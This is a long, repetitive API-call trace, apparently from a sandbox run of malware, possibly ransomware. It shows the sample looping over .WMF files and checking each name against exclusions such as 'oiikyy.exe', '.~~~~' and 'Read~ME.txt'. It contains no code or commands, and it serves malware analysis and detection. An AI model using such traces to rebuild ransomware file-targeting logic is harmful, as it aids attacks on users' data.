	[0085.306] StrStrW (lpFirst="J0195788.WMF", lpSrch=".~~~~") returned 0x0
	[0085.306] lstrcmpW (lpString1="J0195788.WMF", lpString2="Read~ME.txt") returned -1
	[0085.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.306] GetCurrentThreadId () returned 0x618
	[0085.307] RtlWakeConditionVariable () returned 0x365f48
	[0085.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1
	[0085.307] lstrcmpiW (lpString1="J0196060.WMF", lpString2="Windows") returned -1
	[0085.307] lstrcmpW (lpString1="J0196060.WMF", lpString2="oiikyy.exe") returned -1
	[0085.307] StrStrW (lpFirst="J0196060.WMF", lpSrch=".~~~~") returned 0x0
	[0085.307] lstrcmpW (lpString1="J0196060.WMF", lpString2="Read~ME.txt") returned -1
	[0085.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.307] GetCurrentThreadId () returned 0x618
	[0085.307] RtlWakeConditionVariable () returned 0x365f48
	[0085.307] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1
	[0085.307] lstrcmpiW (lpString1="J0196110.WMF", lpString2="Windows") returned -1
	[0085.307] lstrcmpW (lpString1="J0196110.WMF", lpString2="oiikyy.exe") returned -1
	[0085.307] StrStrW (lpFirst="J0196110.WMF", lpSrch=".~~~~") returned 0x0
	[0085.307] lstrcmpW (lpString1="J0196110.WMF", lpString2="Read~ME.txt") returned -1
	[0085.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.312] GetCurrentThreadId () returned 0x618
	[0085.312] RtlWakeConditionVariable () returned 0x365f48
	[0085.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1
	[0085.312] lstrcmpiW (lpString1="J0196142.WMF", lpString2="Windows") returned -1
	[0085.312] lstrcmpW (lpString1="J0196142.WMF", lpString2="oiikyy.exe") returned -1
	[0085.312] StrStrW (lpFirst="J0196142.WMF", lpSrch=".~~~~") returned 0x0
	[0085.312] lstrcmpW (lpString1="J0196142.WMF", lpString2="Read~ME.txt") returned -1
	[0085.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.312] GetCurrentThreadId () returned 0x618
	[0085.312] RtlWakeConditionVariable () returned 0x365f48
	[0085.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1
	[0085.312] lstrcmpiW (lpString1="J0196354.WMF", lpString2="Windows") returned -1
	[0085.312] lstrcmpW (lpString1="J0196354.WMF", lpString2="oiikyy.exe") returned -1
	[0085.312] StrStrW (lpFirst="J0196354.WMF", lpSrch=".~~~~") returned 0x0
	[0085.312] lstrcmpW (lpString1="J0196354.WMF", lpString2="Read~ME.txt") returned -1
	[0085.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.312] GetCurrentThreadId () returned 0x618
	[0085.312] RtlWakeConditionVariable () returned 0x365f48
	[0085.312] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1
	[0085.312] lstrcmpiW (lpString1="J0196358.WMF", lpString2="Windows") returned -1
	[0085.312] lstrcmpW (lpString1="J0196358.WMF", lpString2="oiikyy.exe") returned -1
	[0085.312] StrStrW (lpFirst="J0196358.WMF", lpSrch=".~~~~") returned 0x0
	[0085.313] lstrcmpW (lpString1="J0196358.WMF", lpString2="Read~ME.txt") returned -1
	[0085.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.313] GetCurrentThreadId () returned 0x618
	[0085.313] RtlWakeConditionVariable () returned 0x365f48
	[0085.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1
	[0085.313] lstrcmpiW (lpString1="J0196364.WMF", lpString2="Windows") returned -1
	[0085.313] lstrcmpW (lpString1="J0196364.WMF", lpString2="oiikyy.exe") returned -1
	[0085.313] StrStrW (lpFirst="J0196364.WMF", lpSrch=".~~~~") returned 0x0
	[0085.313] lstrcmpW (lpString1="J0196364.WMF", lpString2="Read~ME.txt") returned -1
	[0085.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.313] GetCurrentThreadId () returned 0x618
	[0085.313] RtlWakeConditionVariable () returned 0x365f48
	[0085.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1
	[0085.313] lstrcmpiW (lpString1="J0197979.WMF", lpString2="Windows") returned -1
	[0085.313] lstrcmpW (lpString1="J0197979.WMF", lpString2="oiikyy.exe") returned -1
	[0085.313] StrStrW (lpFirst="J0197979.WMF", lpSrch=".~~~~") returned 0x0
	[0085.313] lstrcmpW (lpString1="J0197979.WMF", lpString2="Read~ME.txt") returned -1
	[0085.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.313] GetCurrentThreadId () returned 0x618
	[0085.313] RtlWakeConditionVariable () returned 0x365f48
	[0085.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1
	[0085.313] lstrcmpiW (lpString1="J0197983.WMF", lpString2="Windows") returned -1
	[0085.313] lstrcmpW (lpString1="J0197983.WMF", lpString2="oiikyy.exe") returned -1
	[0085.313] StrStrW (lpFirst="J0197983.WMF", lpSrch=".~~~~") returned 0x0
	[0085.313] lstrcmpW (lpString1="J0197983.WMF", lpString2="Read~ME.txt") returned -1
	[0085.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.313] GetCurrentThreadId () returned 0x618
	[0085.313] RtlWakeConditionVariable () returned 0x365f48
	[0085.313] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1
	[0085.314] lstrcmpiW (lpString1="J0198016.WMF", lpString2="Windows") returned -1
	[0085.314] lstrcmpW (lpString1="J0198016.WMF", lpString2="oiikyy.exe") returned -1
	[0085.314] StrStrW (lpFirst="J0198016.WMF", lpSrch=".~~~~") returned 0x0
	[0085.314] lstrcmpW (lpString1="J0198016.WMF", lpString2="Read~ME.txt") returned -1
	[0085.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.314] GetCurrentThreadId () returned 0x618
	[0085.314] RtlWakeConditionVariable () returned 0x365f48
	[0085.314] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1
	[0085.314] lstrcmpiW (lpString1="J0198020.WMF", lpString2="Windows") returned -1
	[0085.314] lstrcmpW (lpString1="J0198020.WMF", lpString2="oiikyy.exe") returned -1
	[0085.314] StrStrW (lpFirst="J0198020.WMF", lpSrch=".~~~~") returned 0x0
	[0085.314] lstrcmpW (lpString1="J0198020.WMF", lpString2="Read~ME.txt") returned -1
	[0085.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.314] GetCurrentThreadId () returned 0x618
	[0085.314] RtlWakeConditionVariable () returned 0x365f48
	[0085.314] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1
	[0085.314] lstrcmpiW (lpString1="J0198021.WMF", lpString2="Windows") returned -1
	[0085.314] lstrcmpW (lpString1="J0198021.WMF", lpString2="oiikyy.exe") returned -1
	[0085.314] StrStrW (lpFirst="J0198021.WMF", lpSrch=".~~~~") returned 0x0
	[0085.314] lstrcmpW (lpString1="J0198021.WMF", lpString2="Read~ME.txt") returned -1
	[0085.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.314] GetCurrentThreadId () returned 0x618
	[0085.314] RtlWakeConditionVariable () returned 0x365f48
	[0085.314] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1
	[0085.314] lstrcmpiW (lpString1="J0198022.WMF", lpString2="Windows") returned -1
	[0085.314] lstrcmpW (lpString1="J0198022.WMF", lpString2="oiikyy.exe") returned -1
	[0085.314] StrStrW (lpFirst="J0198022.WMF", lpSrch=".~~~~") returned 0x0
	[0085.314] lstrcmpW (lpString1="J0198022.WMF", lpString2="Read~ME.txt") returned -1
	[0085.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.315] GetCurrentThreadId () returned 0x618
	[0085.315] RtlWakeConditionVariable () returned 0x365f48
	[0085.315] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1
	[0085.315] lstrcmpiW (lpString1="J0198025.WMF", lpString2="Windows") returned -1
	[0085.315] lstrcmpW (lpString1="J0198025.WMF", lpString2="oiikyy.exe") returned -1
	[0085.315] StrStrW (lpFirst="J0198025.WMF", lpSrch=".~~~~") returned 0x0
	[0085.315] lstrcmpW (lpString1="J0198025.WMF", lpString2="Read~ME.txt") returned -1
	[0085.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.315] GetCurrentThreadId () returned 0x618
	[0085.315] RtlWakeConditionVariable () returned 0x365f48
	[0085.315] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1
	[0085.315] lstrcmpiW (lpString1="J0198102.WMF", lpString2="Windows") returned -1
	[0085.315] lstrcmpW (lpString1="J0198102.WMF", lpString2="oiikyy.exe") returned -1
	[0085.315] StrStrW (lpFirst="J0198102.WMF", lpSrch=".~~~~") returned 0x0
	[0085.315] lstrcmpW (lpString1="J0198102.WMF", lpString2="Read~ME.txt") returned -1
	[0085.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.315] GetCurrentThreadId () returned 0x618
	[0085.315] RtlWakeConditionVariable () returned 0x365f48
	[0085.315] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1
	[0085.315] lstrcmpiW (lpString1="J0198113.WMF", lpString2="Windows") returned -1
	[0085.315] lstrcmpW (lpString1="J0198113.WMF", lpString2="oiikyy.exe") returned -1
	[0085.315] StrStrW (lpFirst="J0198113.WMF", lpSrch=".~~~~") returned 0x0
	[0085.315] lstrcmpW (lpString1="J0198113.WMF", lpString2="Read~ME.txt") returned -1
	[0085.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.315] GetCurrentThreadId () returned 0x618
	[0085.315] RtlWakeConditionVariable () returned 0x365f48
	[0085.315] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1
	[0085.317] lstrcmpiW (lpString1="J0198226.WMF", lpString2="Windows") returned -1
	[0085.317] lstrcmpW (lpString1="J0198226.WMF", lpString2="oiikyy.exe") returned -1
	[0085.317] StrStrW (lpFirst="J0198226.WMF", lpSrch=".~~~~") returned 0x0
	[0085.317] lstrcmpW (lpString1="J0198226.WMF", lpString2="Read~ME.txt") returned -1
	[0085.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.317] GetCurrentThreadId () returned 0x618
	[0085.317] RtlWakeConditionVariable () returned 0x365f48
	[0085.317] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1
	[0085.317] lstrcmpiW (lpString1="J0198234.WMF", lpString2="Windows") returned -1
	[0085.317] lstrcmpW (lpString1="J0198234.WMF", lpString2="oiikyy.exe") returned -1
	[0085.317] StrStrW (lpFirst="J0198234.WMF", lpSrch=".~~~~") returned 0x0
	[0085.317] lstrcmpW (lpString1="J0198234.WMF", lpString2="Read~ME.txt") returned -1
	[0085.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.317] GetCurrentThreadId () returned 0x618
	[0085.317] RtlWakeConditionVariable () returned 0x365f48
	[0085.317] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1
	[0085.317] lstrcmpiW (lpString1="J0198372.WMF", lpString2="Windows") returned -1
	[0085.317] lstrcmpW (lpString1="J0198372.WMF", lpString2="oiikyy.exe") returned -1
	[0085.317] StrStrW (lpFirst="J0198372.WMF", lpSrch=".~~~~") returned 0x0
	[0085.317] lstrcmpW (lpString1="J0198372.WMF", lpString2="Read~ME.txt") returned -1
	[0085.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.317] GetCurrentThreadId () returned 0x618
	[0085.317] RtlWakeConditionVariable () returned 0x365f48
	[0085.318] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1
	[0085.318] lstrcmpiW (lpString1="J0198377.WMF", lpString2="Windows") returned -1
	[0085.318] lstrcmpW (lpString1="J0198377.WMF", lpString2="oiikyy.exe") returned -1
	[0085.318] StrStrW (lpFirst="J0198377.WMF", lpSrch=".~~~~") returned 0x0
	[0085.318] lstrcmpW (lpString1="J0198377.WMF", lpString2="Read~ME.txt") returned -1
	[0085.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.318] GetCurrentThreadId () returned 0x618
	[0085.318] RtlWakeConditionVariable () returned 0x365f48
	[0085.318] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1
	[0085.318] lstrcmpiW (lpString1="J0198447.WMF", lpString2="Windows") returned -1
	[0085.318] lstrcmpW (lpString1="J0198447.WMF", lpString2="oiikyy.exe") returned -1
	[0085.318] StrStrW (lpFirst="J0198447.WMF", lpSrch=".~~~~") returned 0x0
	[0085.318] lstrcmpW (lpString1="J0198447.WMF", lpString2="Read~ME.txt") returned -1
	[0085.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.318] GetCurrentThreadId () returned 0x618
	[0085.318] RtlWakeConditionVariable () returned 0x365f48
	[0085.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1
	[0085.319] lstrcmpiW (lpString1="J0198494.WMF", lpString2="Windows") returned -1
	[0085.319] lstrcmpW (lpString1="J0198494.WMF", lpString2="oiikyy.exe") returned -1
	[0085.319] StrStrW (lpFirst="J0198494.WMF", lpSrch=".~~~~") returned 0x0
	[0085.319] lstrcmpW (lpString1="J0198494.WMF", lpString2="Read~ME.txt") returned -1
	[0085.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.319] GetCurrentThreadId () returned 0x618
	[0085.319] RtlWakeConditionVariable () returned 0x365f48
	[0085.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1
	[0085.319] lstrcmpiW (lpString1="J0198712.WMF", lpString2="Windows") returned -1
	[0085.319] lstrcmpW (lpString1="J0198712.WMF", lpString2="oiikyy.exe") returned -1
	[0085.319] StrStrW (lpFirst="J0198712.WMF", lpSrch=".~~~~") returned 0x0
	[0085.319] lstrcmpW (lpString1="J0198712.WMF", lpString2="Read~ME.txt") returned -1
	[0085.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.319] GetCurrentThreadId () returned 0x618
	[0085.319] RtlWakeConditionVariable () returned 0x365f48
	[0085.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1
	[0085.319] lstrcmpiW (lpString1="J0199279.WMF", lpString2="Windows") returned -1
	[0085.319] lstrcmpW (lpString1="J0199279.WMF", lpString2="oiikyy.exe") returned -1
	[0085.319] StrStrW (lpFirst="J0199279.WMF", lpSrch=".~~~~") returned 0x0
	[0085.319] lstrcmpW (lpString1="J0199279.WMF", lpString2="Read~ME.txt") returned -1
	[0085.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.319] GetCurrentThreadId () returned 0x618
	[0085.320] RtlWakeConditionVariable () returned 0x365f48
	[0085.320] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1
	[0085.320] lstrcmpiW (lpString1="J0199303.WMF", lpString2="Windows") returned -1
	[0085.320] lstrcmpW (lpString1="J0199303.WMF", lpString2="oiikyy.exe") returned -1
	[0085.320] StrStrW (lpFirst="J0199303.WMF", lpSrch=".~~~~") returned 0x0
	[0085.320] lstrcmpW (lpString1="J0199303.WMF", lpString2="Read~ME.txt") returned -1
	[0085.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.320] GetCurrentThreadId () returned 0x618
	[0085.320] RtlWakeConditionVariable () returned 0x365f48
